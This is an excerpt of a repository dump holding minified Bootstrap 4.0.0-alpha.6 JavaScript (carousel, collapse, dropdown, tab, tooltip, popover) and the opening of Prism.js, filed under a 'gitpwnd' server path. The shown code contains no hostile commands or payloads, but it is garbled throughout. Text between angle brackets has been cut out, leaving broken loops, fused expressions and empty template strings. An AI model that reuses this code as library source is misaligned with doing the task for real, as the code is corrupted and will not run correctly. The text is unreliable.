e&&"function"!=typeof e?t:e}function e(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}var i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},o=function(){function t(t,e){for(var n=0;nthis._items.length-1||e<0)){if(this._isSliding)return void t(this._element).one(m.SLID,function(){return n.to(e)});if(i===e)return this.pause(),void this.cycle();var o=e>i?p.NEXT:p.PREVIOUS;this._slide(o,this._items[e])}},h.prototype.dispose=function(){t(this._element).off(l),t.removeData(this._element,a),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},h.prototype._getConfig=function(n){return n=t.extend({},_,n),r.typeCheckConfig(e,n,g),n},h.prototype._addEventListeners=function(){var e=this;this._config.keyboard&&t(this._element).on(m.KEYDOWN,function(t){return e._keydown(t)}),"hover"!==this._config.pause||"ontouchstart"in document.documentElement||t(this._element).on(m.MOUSEENTER,function(t){return e.pause(t)}).on(m.MOUSELEAVE,function(t){return e.cycle(t)})},h.prototype._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case d:t.preventDefault(),this.prev();break;case f:t.preventDefault(),this.next();break;default:return}},h.prototype._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(v.ITEM)),this._items.indexOf(e)},h.prototype._getItemByDirection=function(t,e){var n=t===p.NEXT,i=t===p.PREVIOUS,o=this._getItemIndex(e),r=this._items.length-1,s=i&&0===o||n&&o===r;if(s&&!this._config.wrap)return e;var a=t===p.PREVIOUS?-1:1,l=(o+a)%this._items.length;return l===-1?this._items[this._items.length-1]:this._items[l]},h.prototype._triggerSlideEvent=function(e,n){var i=t.Event(m.SLIDE,{relatedTarget:e,direction:n});return t(this._element).trigger(i),i},h.prototype._setActiveIndicatorElement=function(e){if(this._indicatorsElement){t(this._indicatorsElement).find(v.ACTIVE).removeClass(E.ACTIVE);var n=this._indicatorsElement.children[this._getItemIndex(e)];n&&t(n).addClass(E.ACTIVE)}},h.prototype._slide=function(e,n){var i=this,o=t(this._element).find(v.ACTIVE_ITEM)[0],s=n||o&&this._getItemByDirection(e,o),a=Boolean(this._interval),l=void 0,h=void 0,c=void 0;if(e===p.NEXT?(l=E.LEFT,h=E.NEXT,c=p.LEFT):(l=E.RIGHT,h=E.PREV,c=p.RIGHT),s&&t(s).hasClass(E.ACTIVE))return void(this._isSliding=!1);var d=this._triggerSlideEvent(s,c);if(!d.isDefaultPrevented()&&o&&s){this._isSliding=!0,a&&this.pause(),this._setActiveIndicatorElement(s);var f=t.Event(m.SLID,{relatedTarget:s,direction:c});r.supportsTransitionEnd()&&t(this._element).hasClass(E.SLIDE)?(t(s).addClass(h),r.reflow(s),t(o).addClass(l),t(s).addClass(l),t(o).one(r.TRANSITION_END,function(){t(s).removeClass(l+" "+h).addClass(E.ACTIVE),t(o).removeClass(E.ACTIVE+" "+h+" "+l),i._isSliding=!1,setTimeout(function(){return t(i._element).trigger(f)},0)}).emulateTransitionEnd(u)):(t(o).removeClass(E.ACTIVE),t(s).addClass(E.ACTIVE),this._isSliding=!1,t(this._element).trigger(f)),a&&this.cycle()}},h._jQueryInterface=function(e){return this.each(function(){var n=t(this).data(a),o=t.extend({},_,t(this).data());"object"===("undefined"==typeof e?"undefined":i(e))&&t.extend(o,e);var r="string"==typeof e?e:o.slide;if(n||(n=new h(this,o),t(this).data(a,n)),"number"==typeof e)n.to(e);else if("string"==typeof r){if(void 0===n[r])throw new Error('No method named "'+r+'"');n[r]()}else o.interval&&(n.pause(),n.cycle())})},h._dataApiClickHandler=function(e){var n=r.getSelectorFromElement(this);if(n){var i=t(n)[0];if(i&&t(i).hasClass(E.CAROUSEL)){var o=t.extend({},t(i).data(),t(this).data()),s=this.getAttribute("data-slide-to");s&&(o.interval=!1),h._jQueryInterface.call(t(i),o),s&&t(i).data(a).to(s),e.preventDefault()}}},o(h,null,[{key:"VERSION",get:function(){return s}},{key:"Default",get:function(){return _}}]),h}();return t(document).on(m.CLICK_DATA_API,v.DATA_SLIDE,T._dataApiClickHandler),t(window).on(m.LOAD_DATA_API,function(){t(v.DATA_RIDE).each(function(){var e=t(this);T._jQueryInterface.call(e,e.data())})}),t.fn[e]=T._jQueryInterface,t.fn[e].Constructor=T,t.fn[e].noConflict=function(){return t.fn[e]=c,T._jQueryInterface},T}(jQuery),function(t){var e="collapse",s="4.0.0-alpha.6",a="bs.collapse",l="."+a,h=".data-api",c=t.fn[e],u=600,d={toggle:!0,parent:""},f={toggle:"boolean",parent:"string"},_={SHOW:"show"+l,SHOWN:"shown"+l,HIDE:"hide"+l,HIDDEN:"hidden"+l,CLICK_DATA_API:"click"+l+h},g={SHOW:"show",COLLAPSE:"collapse",COLLAPSING:"collapsing",COLLAPSED:"collapsed"},p={WIDTH:"width",HEIGHT:"height"},m={ACTIVES:".card > .show, .card > .collapsing",DATA_TOGGLE:'[data-toggle="collapse"]'},E=function(){function l(e,i){n(this,l),this._isTransitioning=!1,this._element=e,this._config=this._getConfig(i),this._triggerArray=t.makeArray(t('[data-toggle="collapse"][href="#'+e.id+'"],'+('[data-toggle="collapse"][data-target="#'+e.id+'"]'))),this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}return l.prototype.toggle=function(){t(this._element).hasClass(g.SHOW)?this.hide():this.show()},l.prototype.show=function(){var e=this;if(this._isTransitioning)throw new Error("Collapse is transitioning");if(!t(this._element).hasClass(g.SHOW)){var n=void 0,i=void 0;if(this._parent&&(n=t.makeArray(t(this._parent).find(m.ACTIVES)),n.length||(n=null)),!(n&&(i=t(n).data(a),i&&i._isTransitioning))){var o=t.Event(_.SHOW);if(t(this._element).trigger(o),!o.isDefaultPrevented()){n&&(l._jQueryInterface.call(t(n),"hide"),i||t(n).data(a,null));var s=this._getDimension();t(this._element).removeClass(g.COLLAPSE).addClass(g.COLLAPSING),this._element.style[s]=0,this._element.setAttribute("aria-expanded",!0),this._triggerArray.length&&t(this._triggerArray).removeClass(g.COLLAPSED).attr("aria-expanded",!0),this.setTransitioning(!0);var h=function(){t(e._element).removeClass(g.COLLAPSING).addClass(g.COLLAPSE).addClass(g.SHOW),e._element.style[s]="",e.setTransitioning(!1),t(e._element).trigger(_.SHOWN)};if(!r.supportsTransitionEnd())return void h();var c=s[0].toUpperCase()+s.slice(1),d="scroll"+c;t(this._element).one(r.TRANSITION_END,h).emulateTransitionEnd(u),this._element.style[s]=this._element[d]+"px"}}}},l.prototype.hide=function(){var e=this;if(this._isTransitioning)throw new Error("Collapse is transitioning");if(t(this._element).hasClass(g.SHOW)){var n=t.Event(_.HIDE);if(t(this._element).trigger(n),!n.isDefaultPrevented()){var i=this._getDimension(),o=i===p.WIDTH?"offsetWidth":"offsetHeight";this._element.style[i]=this._element[o]+"px",r.reflow(this._element),t(this._element).addClass(g.COLLAPSING).removeClass(g.COLLAPSE).removeClass(g.SHOW),this._element.setAttribute("aria-expanded",!1),this._triggerArray.length&&t(this._triggerArray).addClass(g.COLLAPSED).attr("aria-expanded",!1),this.setTransitioning(!0);var s=function(){e.setTransitioning(!1),t(e._element).removeClass(g.COLLAPSING).addClass(g.COLLAPSE).trigger(_.HIDDEN)};return this._element.style[i]="",r.supportsTransitionEnd()?void t(this._element).one(r.TRANSITION_END,s).emulateTransitionEnd(u):void s()}}},l.prototype.setTransitioning=function(t){this._isTransitioning=t},l.prototype.dispose=function(){t.removeData(this._element,a),this._config=null,this._parent=null,this._element=null,this._triggerArray=null,this._isTransitioning=null},l.prototype._getConfig=function(n){return n=t.extend({},d,n),n.toggle=Boolean(n.toggle),r.typeCheckConfig(e,n,f),n},l.prototype._getDimension=function(){var e=t(this._element).hasClass(p.WIDTH);return e?p.WIDTH:p.HEIGHT},l.prototype._getParent=function(){var e=this,n=t(this._config.parent)[0],i='[data-toggle="collapse"][data-parent="'+this._config.parent+'"]';return t(n).find(i).each(function(t,n){e._addAriaAndCollapsedClass(l._getTargetFromElement(n),[n])}),n},l.prototype._addAriaAndCollapsedClass=function(e,n){if(e){var i=t(e).hasClass(g.SHOW);e.setAttribute("aria-expanded",i),n.length&&t(n).toggleClass(g.COLLAPSED,!i).attr("aria-expanded",i)}},l._getTargetFromElement=function(e){var n=r.getSelectorFromElement(e);return n?t(n)[0]:null},l._jQueryInterface=function(e){return this.each(function(){var n=t(this),o=n.data(a),r=t.extend({},d,n.data(),"object"===("undefined"==typeof e?"undefined":i(e))&&e);if(!o&&r.toggle&&/show|hide/.test(e)&&(r.toggle=!1),o||(o=new l(this,r),n.data(a,o)),"string"==typeof e){if(void 0===o[e])throw new Error('No method named "'+e+'"');o[e]()}})},o(l,null,[{key:"VERSION",get:function(){return s}},{key:"Default",get:function(){return d}}]),l}();return t(document).on(_.CLICK_DATA_API,m.DATA_TOGGLE,function(e){e.preventDefault();var n=E._getTargetFromElement(this),i=t(n).data(a),o=i?"toggle":t(this).data();E._jQueryInterface.call(t(n),o)}),t.fn[e]=E._jQueryInterface,t.fn[e].Constructor=E,t.fn[e].noConflict=function(){return t.fn[e]=c,E._jQueryInterface},E}(jQuery),function(t){var e="dropdown",i="4.0.0-alpha.6",s="bs.dropdown",a="."+s,l=".data-api",h=t.fn[e],c=27,u=38,d=40,f=3,_={HIDE:"hide"+a,HIDDEN:"hidden"+a,SHOW:"show"+a,SHOWN:"shown"+a,CLICK:"click"+a,CLICK_DATA_API:"click"+a+l,FOCUSIN_DATA_API:"focusin"+a+l,KEYDOWN_DATA_API:"keydown"+a+l},g={BACKDROP:"dropdown-backdrop",DISABLED:"disabled",SHOW:"show"},p={BACKDROP:".dropdown-backdrop",DATA_TOGGLE:'[data-toggle="dropdown"]',FORM_CHILD:".dropdown form",ROLE_MENU:'[role="menu"]',ROLE_LISTBOX:'[role="listbox"]',NAVBAR_NAV:".navbar-nav",VISIBLE_ITEMS:'[role="menu"] li:not(.disabled) a, [role="listbox"] li:not(.disabled) a'},m=function(){function e(t){n(this,e),this._element=t,this._addEventListeners()}return e.prototype.toggle=function(){if(this.disabled||t(this).hasClass(g.DISABLED))return!1;var n=e._getParentFromElement(this),i=t(n).hasClass(g.SHOW);if(e._clearMenus(),i)return!1;if("ontouchstart"in document.documentElement&&!t(n).closest(p.NAVBAR_NAV).length){var o=document.createElement("div");o.className=g.BACKDROP,t(o).insertBefore(this),t(o).on("click",e._clearMenus)}var r={relatedTarget:this},s=t.Event(_.SHOW,r);return t(n).trigger(s),!s.isDefaultPrevented()&&(this.focus(),this.setAttribute("aria-expanded",!0),t(n).toggleClass(g.SHOW),t(n).trigger(t.Event(_.SHOWN,r)),!1)},e.prototype.dispose=function(){t.removeData(this._element,s),t(this._element).off(a),this._element=null},e.prototype._addEventListeners=function(){t(this._element).on(_.CLICK,this.toggle)},e._jQueryInterface=function(n){return this.each(function(){var i=t(this).data(s);if(i||(i=new e(this),t(this).data(s,i)),"string"==typeof n){if(void 0===i[n])throw new Error('No method named "'+n+'"');i[n].call(this)}})},e._clearMenus=function(n){if(!n||n.which!==f){var i=t(p.BACKDROP)[0];i&&i.parentNode.removeChild(i);for(var o=t.makeArray(t(p.DATA_TOGGLE)),r=0;r0&&a--,n.which===d&&adocument.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},h.prototype._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},h.prototype._checkScrollbar=function(){this._isBodyOverflowing=document.body.clientWidth=n){var i=this._targets[this._targets.length-1];return void(this._activeTarget!==i&&this._activate(i))}if(this._activeTarget&&t0)return this._activeTarget=null,void this._clear();for(var o=this._offsets.length;o--;){var r=this._activeTarget!==this._targets[o]&&t>=this._offsets[o]&&(void 0===this._offsets[o+1]||t "+g.NAV_LINKS).addClass(_.ACTIVE),t(this._scrollElement).trigger(f.ACTIVATE,{relatedTarget:e})},h.prototype._clear=function(){t(this._selector).filter(g.ACTIVE).removeClass(_.ACTIVE)},h._jQueryInterface=function(e){return this.each(function(){var n=t(this).data(a),o="object"===("undefined"==typeof e?"undefined":i(e))&&e; 7 | if(n||(n=new h(this,o),t(this).data(a,n)),"string"==typeof e){if(void 0===n[e])throw new Error('No method named "'+e+'"');n[e]()}})},o(h,null,[{key:"VERSION",get:function(){return s}},{key:"Default",get:function(){return u}}]),h}();return t(window).on(f.LOAD_DATA_API,function(){for(var e=t.makeArray(t(g.DATA_SPY)),n=e.length;n--;){var i=t(e[n]);m._jQueryInterface.call(i,i.data())}}),t.fn[e]=m._jQueryInterface,t.fn[e].Constructor=m,t.fn[e].noConflict=function(){return t.fn[e]=c,m._jQueryInterface},m}(jQuery),function(t){var e="tab",i="4.0.0-alpha.6",s="bs.tab",a="."+s,l=".data-api",h=t.fn[e],c=150,u={HIDE:"hide"+a,HIDDEN:"hidden"+a,SHOW:"show"+a,SHOWN:"shown"+a,CLICK_DATA_API:"click"+a+l},d={DROPDOWN_MENU:"dropdown-menu",ACTIVE:"active",DISABLED:"disabled",FADE:"fade",SHOW:"show"},f={A:"a",LI:"li",DROPDOWN:".dropdown",LIST:"ul:not(.dropdown-menu), ol:not(.dropdown-menu), nav:not(.dropdown-menu)",FADE_CHILD:"> .nav-item .fade, > .fade",ACTIVE:".active",ACTIVE_CHILD:"> .nav-item > .active, > .active",DATA_TOGGLE:'[data-toggle="tab"], [data-toggle="pill"]',DROPDOWN_TOGGLE:".dropdown-toggle",DROPDOWN_ACTIVE_CHILD:"> .dropdown-menu .active"},_=function(){function e(t){n(this,e),this._element=t}return e.prototype.show=function(){var e=this;if(!(this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE&&t(this._element).hasClass(d.ACTIVE)||t(this._element).hasClass(d.DISABLED))){var n=void 0,i=void 0,o=t(this._element).closest(f.LIST)[0],s=r.getSelectorFromElement(this._element);o&&(i=t.makeArray(t(o).find(f.ACTIVE)),i=i[i.length-1]);var a=t.Event(u.HIDE,{relatedTarget:this._element}),l=t.Event(u.SHOW,{relatedTarget:i});if(i&&t(i).trigger(a),t(this._element).trigger(l),!l.isDefaultPrevented()&&!a.isDefaultPrevented()){s&&(n=t(s)[0]),this._activate(this._element,o);var h=function(){var n=t.Event(u.HIDDEN,{relatedTarget:e._element}),o=t.Event(u.SHOWN,{relatedTarget:i});t(i).trigger(n),t(e._element).trigger(o)};n?this._activate(n,n.parentNode,h):h()}}},e.prototype.dispose=function(){t.removeClass(this._element,s),this._element=null},e.prototype._activate=function(e,n,i){var o=this,s=t(n).find(f.ACTIVE_CHILD)[0],a=i&&r.supportsTransitionEnd()&&(s&&t(s).hasClass(d.FADE)||Boolean(t(n).find(f.FADE_CHILD)[0])),l=function(){return o._transitionComplete(e,s,a,i)};s&&a?t(s).one(r.TRANSITION_END,l).emulateTransitionEnd(c):l(),s&&t(s).removeClass(d.SHOW)},e.prototype._transitionComplete=function(e,n,i,o){if(n){t(n).removeClass(d.ACTIVE);var s=t(n.parentNode).find(f.DROPDOWN_ACTIVE_CHILD)[0];s&&t(s).removeClass(d.ACTIVE),n.setAttribute("aria-expanded",!1)}if(t(e).addClass(d.ACTIVE),e.setAttribute("aria-expanded",!0),i?(r.reflow(e),t(e).addClass(d.SHOW)):t(e).removeClass(d.FADE),e.parentNode&&t(e.parentNode).hasClass(d.DROPDOWN_MENU)){var a=t(e).closest(f.DROPDOWN)[0];a&&t(a).find(f.DROPDOWN_TOGGLE).addClass(d.ACTIVE),e.setAttribute("aria-expanded",!0)}o&&o()},e._jQueryInterface=function(n){return this.each(function(){var i=t(this),o=i.data(s);if(o||(o=new e(this),i.data(s,o)),"string"==typeof n){if(void 0===o[n])throw new Error('No method named "'+n+'"');o[n]()}})},o(e,null,[{key:"VERSION",get:function(){return i}}]),e}();return t(document).on(u.CLICK_DATA_API,f.DATA_TOGGLE,function(e){e.preventDefault(),_._jQueryInterface.call(t(this),"show")}),t.fn[e]=_._jQueryInterface,t.fn[e].Constructor=_,t.fn[e].noConflict=function(){return t.fn[e]=h,_._jQueryInterface},_}(jQuery),function(t){if("undefined"==typeof Tether)throw new Error("Bootstrap tooltips require Tether (http://tether.io/)");var e="tooltip",s="4.0.0-alpha.6",a="bs.tooltip",l="."+a,h=t.fn[e],c=150,u="bs-tether",d={animation:!0,template:'',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:"0 0",constraints:[],container:!1},f={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"string",constraints:"array",container:"(string|element|boolean)"},_={TOP:"bottom center",RIGHT:"middle left",BOTTOM:"top center",LEFT:"middle right"},g={SHOW:"show",OUT:"out"},p={HIDE:"hide"+l,HIDDEN:"hidden"+l,SHOW:"show"+l,SHOWN:"shown"+l,INSERTED:"inserted"+l,CLICK:"click"+l,FOCUSIN:"focusin"+l,FOCUSOUT:"focusout"+l,MOUSEENTER:"mouseenter"+l,MOUSELEAVE:"mouseleave"+l},m={FADE:"fade",SHOW:"show"},E={TOOLTIP:".tooltip",TOOLTIP_INNER:".tooltip-inner"},v={element:!1,enabled:!1},T={HOVER:"hover",FOCUS:"focus",CLICK:"click",MANUAL:"manual"},I=function(){function h(t,e){n(this,h),this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._isTransitioning=!1,this._tether=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}return h.prototype.enable=function(){this._isEnabled=!0},h.prototype.disable=function(){this._isEnabled=!1},h.prototype.toggleEnabled=function(){this._isEnabled=!this._isEnabled},h.prototype.toggle=function(e){if(e){var n=this.constructor.DATA_KEY,i=t(e.currentTarget).data(n);i||(i=new this.constructor(e.currentTarget,this._getDelegateConfig()),t(e.currentTarget).data(n,i)),i._activeTrigger.click=!i._activeTrigger.click,i._isWithActiveTrigger()?i._enter(null,i):i._leave(null,i)}else{if(t(this.getTipElement()).hasClass(m.SHOW))return void this._leave(null,this);this._enter(null,this)}},h.prototype.dispose=function(){clearTimeout(this._timeout),this.cleanupTether(),t.removeData(this.element,this.constructor.DATA_KEY),t(this.element).off(this.constructor.EVENT_KEY),t(this.element).closest(".modal").off("hide.bs.modal"),this.tip&&t(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,this._activeTrigger=null,this._tether=null,this.element=null,this.config=null,this.tip=null},h.prototype.show=function(){var e=this;if("none"===t(this.element).css("display"))throw new Error("Please use show on visible elements");var n=t.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){if(this._isTransitioning)throw new Error("Tooltip is transitioning");t(this.element).trigger(n);var i=t.contains(this.element.ownerDocument.documentElement,this.element);if(n.isDefaultPrevented()||!i)return;var o=this.getTipElement(),s=r.getUID(this.constructor.NAME);o.setAttribute("id",s),this.element.setAttribute("aria-describedby",s),this.setContent(),this.config.animation&&t(o).addClass(m.FADE);var a="function"==typeof this.config.placement?this.config.placement.call(this,o,this.element):this.config.placement,l=this._getAttachment(a),c=this.config.container===!1?document.body:t(this.config.container);t(o).data(this.constructor.DATA_KEY,this).appendTo(c),t(this.element).trigger(this.constructor.Event.INSERTED),this._tether=new Tether({attachment:l,element:o,target:this.element,classes:v,classPrefix:u,offset:this.config.offset,constraints:this.config.constraints,addTargetClasses:!1}),r.reflow(o),this._tether.position(),t(o).addClass(m.SHOW);var d=function(){var n=e._hoverState;e._hoverState=null,e._isTransitioning=!1,t(e.element).trigger(e.constructor.Event.SHOWN),n===g.OUT&&e._leave(null,e)};if(r.supportsTransitionEnd()&&t(this.tip).hasClass(m.FADE))return this._isTransitioning=!0,void t(this.tip).one(r.TRANSITION_END,d).emulateTransitionEnd(h._TRANSITION_DURATION);d()}},h.prototype.hide=function(e){var n=this,i=this.getTipElement(),o=t.Event(this.constructor.Event.HIDE);if(this._isTransitioning)throw new Error("Tooltip is transitioning");var s=function(){n._hoverState!==g.SHOW&&i.parentNode&&i.parentNode.removeChild(i),n.element.removeAttribute("aria-describedby"),t(n.element).trigger(n.constructor.Event.HIDDEN),n._isTransitioning=!1,n.cleanupTether(),e&&e()};t(this.element).trigger(o),o.isDefaultPrevented()||(t(i).removeClass(m.SHOW),this._activeTrigger[T.CLICK]=!1,this._activeTrigger[T.FOCUS]=!1,this._activeTrigger[T.HOVER]=!1,r.supportsTransitionEnd()&&t(this.tip).hasClass(m.FADE)?(this._isTransitioning=!0,t(i).one(r.TRANSITION_END,s).emulateTransitionEnd(c)):s(),this._hoverState="")},h.prototype.isWithContent=function(){return Boolean(this.getTitle())},h.prototype.getTipElement=function(){return this.tip=this.tip||t(this.config.template)[0]},h.prototype.setContent=function(){var e=t(this.getTipElement());this.setElementContent(e.find(E.TOOLTIP_INNER),this.getTitle()),e.removeClass(m.FADE+" "+m.SHOW),this.cleanupTether()},h.prototype.setElementContent=function(e,n){var o=this.config.html;"object"===("undefined"==typeof n?"undefined":i(n))&&(n.nodeType||n.jquery)?o?t(n).parent().is(e)||e.empty().append(n):e.text(t(n).text()):e[o?"html":"text"](n)},h.prototype.getTitle=function(){var t=this.element.getAttribute("data-original-title");return t||(t="function"==typeof this.config.title?this.config.title.call(this.element):this.config.title),t},h.prototype.cleanupTether=function(){this._tether&&this._tether.destroy()},h.prototype._getAttachment=function(t){return _[t.toUpperCase()]},h.prototype._setListeners=function(){var e=this,n=this.config.trigger.split(" ");n.forEach(function(n){if("click"===n)t(e.element).on(e.constructor.Event.CLICK,e.config.selector,function(t){return e.toggle(t)});else if(n!==T.MANUAL){var i=n===T.HOVER?e.constructor.Event.MOUSEENTER:e.constructor.Event.FOCUSIN,o=n===T.HOVER?e.constructor.Event.MOUSELEAVE:e.constructor.Event.FOCUSOUT;t(e.element).on(i,e.config.selector,function(t){return e._enter(t)}).on(o,e.config.selector,function(t){return e._leave(t)})}t(e.element).closest(".modal").on("hide.bs.modal",function(){return e.hide()})}),this.config.selector?this.config=t.extend({},this.config,{trigger:"manual",selector:""}):this._fixTitle()},h.prototype._fixTitle=function(){var t=i(this.element.getAttribute("data-original-title"));(this.element.getAttribute("title")||"string"!==t)&&(this.element.setAttribute("data-original-title",this.element.getAttribute("title")||""),this.element.setAttribute("title",""))},h.prototype._enter=function(e,n){var i=this.constructor.DATA_KEY;return n=n||t(e.currentTarget).data(i),n||(n=new this.constructor(e.currentTarget,this._getDelegateConfig()),t(e.currentTarget).data(i,n)),e&&(n._activeTrigger["focusin"===e.type?T.FOCUS:T.HOVER]=!0),t(n.getTipElement()).hasClass(m.SHOW)||n._hoverState===g.SHOW?void(n._hoverState=g.SHOW):(clearTimeout(n._timeout),n._hoverState=g.SHOW,n.config.delay&&n.config.delay.show?void(n._timeout=setTimeout(function(){n._hoverState===g.SHOW&&n.show()},n.config.delay.show)):void n.show())},h.prototype._leave=function(e,n){var i=this.constructor.DATA_KEY;if(n=n||t(e.currentTarget).data(i),n||(n=new this.constructor(e.currentTarget,this._getDelegateConfig()),t(e.currentTarget).data(i,n)),e&&(n._activeTrigger["focusout"===e.type?T.FOCUS:T.HOVER]=!1),!n._isWithActiveTrigger())return clearTimeout(n._timeout),n._hoverState=g.OUT,n.config.delay&&n.config.delay.hide?void(n._timeout=setTimeout(function(){n._hoverState===g.OUT&&n.hide()},n.config.delay.hide)):void n.hide()},h.prototype._isWithActiveTrigger=function(){for(var t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1},h.prototype._getConfig=function(n){return n=t.extend({},this.constructor.Default,t(this.element).data(),n),n.delay&&"number"==typeof n.delay&&(n.delay={show:n.delay,hide:n.delay}),r.typeCheckConfig(e,n,this.constructor.DefaultType),n},h.prototype._getDelegateConfig=function(){var t={};if(this.config)for(var e in this.config)this.constructor.Default[e]!==this.config[e]&&(t[e]=this.config[e]);return t},h._jQueryInterface=function(e){return this.each(function(){var n=t(this).data(a),o="object"===("undefined"==typeof e?"undefined":i(e))&&e;if((n||!/dispose|hide/.test(e))&&(n||(n=new h(this,o),t(this).data(a,n)),"string"==typeof e)){if(void 0===n[e])throw new Error('No method named "'+e+'"');n[e]()}})},o(h,null,[{key:"VERSION",get:function(){return s}},{key:"Default",get:function(){return d}},{key:"NAME",get:function(){return e}},{key:"DATA_KEY",get:function(){return a}},{key:"Event",get:function(){return p}},{key:"EVENT_KEY",get:function(){return l}},{key:"DefaultType",get:function(){return f}}]),h}();return t.fn[e]=I._jQueryInterface,t.fn[e].Constructor=I,t.fn[e].noConflict=function(){return t.fn[e]=h,I._jQueryInterface},I}(jQuery));(function(r){var a="popover",l="4.0.0-alpha.6",h="bs.popover",c="."+h,u=r.fn[a],d=r.extend({},s.Default,{placement:"right",trigger:"click",content:"",template:''}),f=r.extend({},s.DefaultType,{content:"(string|element|function)"}),_={FADE:"fade",SHOW:"show"},g={TITLE:".popover-title",CONTENT:".popover-content"},p={HIDE:"hide"+c,HIDDEN:"hidden"+c,SHOW:"show"+c,SHOWN:"shown"+c,INSERTED:"inserted"+c,CLICK:"click"+c,FOCUSIN:"focusin"+c,FOCUSOUT:"focusout"+c,MOUSEENTER:"mouseenter"+c,MOUSELEAVE:"mouseleave"+c},m=function(s){function u(){return n(this,u),t(this,s.apply(this,arguments))}return e(u,s),u.prototype.isWithContent=function(){return this.getTitle()||this._getContent()},u.prototype.getTipElement=function(){return this.tip=this.tip||r(this.config.template)[0]},u.prototype.setContent=function(){var t=r(this.getTipElement());this.setElementContent(t.find(g.TITLE),this.getTitle()),this.setElementContent(t.find(g.CONTENT),this._getContent()),t.removeClass(_.FADE+" "+_.SHOW),this.cleanupTether()},u.prototype._getContent=function(){return this.element.getAttribute("data-content")||("function"==typeof this.config.content?this.config.content.call(this.element):this.config.content)},u._jQueryInterface=function(t){return this.each(function(){var e=r(this).data(h),n="object"===("undefined"==typeof t?"undefined":i(t))?t:null;if((e||!/destroy|hide/.test(t))&&(e||(e=new u(this,n),r(this).data(h,e)),"string"==typeof t)){if(void 0===e[t])throw new Error('No method named "'+t+'"');e[t]()}})},o(u,null,[{key:"VERSION",get:function(){return l}},{key:"Default",get:function(){return d}},{key:"NAME",get:function(){return a}},{key:"DATA_KEY",get:function(){return h}},{key:"Event",get:function(){return p}},{key:"EVENT_KEY",get:function(){return c}},{key:"DefaultType",get:function(){return f}}]),u}(s);return r.fn[a]=m._jQueryInterface,r.fn[a].Constructor=m,r.fn[a].noConflict=function(){return r.fn[a]=u,m._jQueryInterface},m})(jQuery)}(); -------------------------------------------------------------------------------- /server/gitpwnd/static/js/prism.js: -------------------------------------------------------------------------------- 1 | /* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */ 2 | var _self="undefined"!=typeof window?window:"undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?self:{},Prism=function(){var e=/\blang(?:uage)?-(\w+)\b/i,t=0,n=_self.Prism={manual:_self.Prism&&_self.Prism.manual,util:{encode:function(e){return e instanceof a?new a(e.type,n.util.encode(e.content),e.alias):"Array"===n.util.type(e)?e.map(n.util.encode):e.replace(/&/g,"&").replace(/e.length)break e;if(!(v instanceof a)){u.lastIndex=0;var b=u.exec(v),k=1;if(!b&&h&&m!=r.length-1){if(u.lastIndex=y,b=u.exec(e),!b)break;for(var w=b.index+(c?b[1].length:0),_=b.index+b[0].length,P=m,A=y,j=r.length;j>P&&_>A;++P)A+=r[P].length,w>=A&&(++m,y=A);if(r[m]instanceof a||r[P-1].greedy)continue;k=P-m,v=e.slice(y,A),b.index-=y}if(b){c&&(f=b[1].length);var w=b.index+f,b=b[0].slice(f),_=w+b.length,x=v.slice(0,w),O=v.slice(_),S=[m,k];x&&S.push(x);var N=new a(i,g?n.tokenize(b,g):b,d,b,h);S.push(N),O&&S.push(O),Array.prototype.splice.apply(r,S)}}}}}return r},hooks:{all:{},add:function(e,t){var a=n.hooks.all;a[e]=a[e]||[],a[e].push(t)},run:function(e,t){var a=n.hooks.all[e];if(a&&a.length)for(var r,l=0;r=a[l++];)r(t)}}},a=n.Token=function(e,t,n,a,r){this.type=e,this.content=t,this.alias=n,this.length=0|(a||"").length,this.greedy=!!r};if(a.stringify=function(e,t,r){if("string"==typeof e)return e;if("Array"===n.util.type(e))return e.map(function(n){return a.stringify(n,t,e)}).join("");var l={type:e.type,content:a.stringify(e.content,t,r),tag:"span",classes:["token",e.type],attributes:{},language:t,parent:r};if("comment"==l.type&&(l.attributes.spellcheck="true"),e.alias){var i="Array"===n.util.type(e.alias)?e.alias:[e.alias];Array.prototype.push.apply(l.classes,i)}n.hooks.run("wrap",l);var o=Object.keys(l.attributes).map(function(e){return e+'="'+(l.attributes[e]||"").replace(/"/g,""")+'"'}).join(" ");return"<"+l.tag+' class="'+l.classes.join(" ")+'"'+(o?" "+o:"")+">"+l.content+""},!_self.document)return _self.addEventListener?(_self.addEventListener("message",function(e){var t=JSON.parse(e.data),a=t.language,r=t.code,l=t.immediateClose;_self.postMessage(n.highlight(r,n.languages[a],a)),l&&_self.close()},!1),_self.Prism):_self.Prism;var r=document.currentScript||[].slice.call(document.getElementsByTagName("script")).pop();return 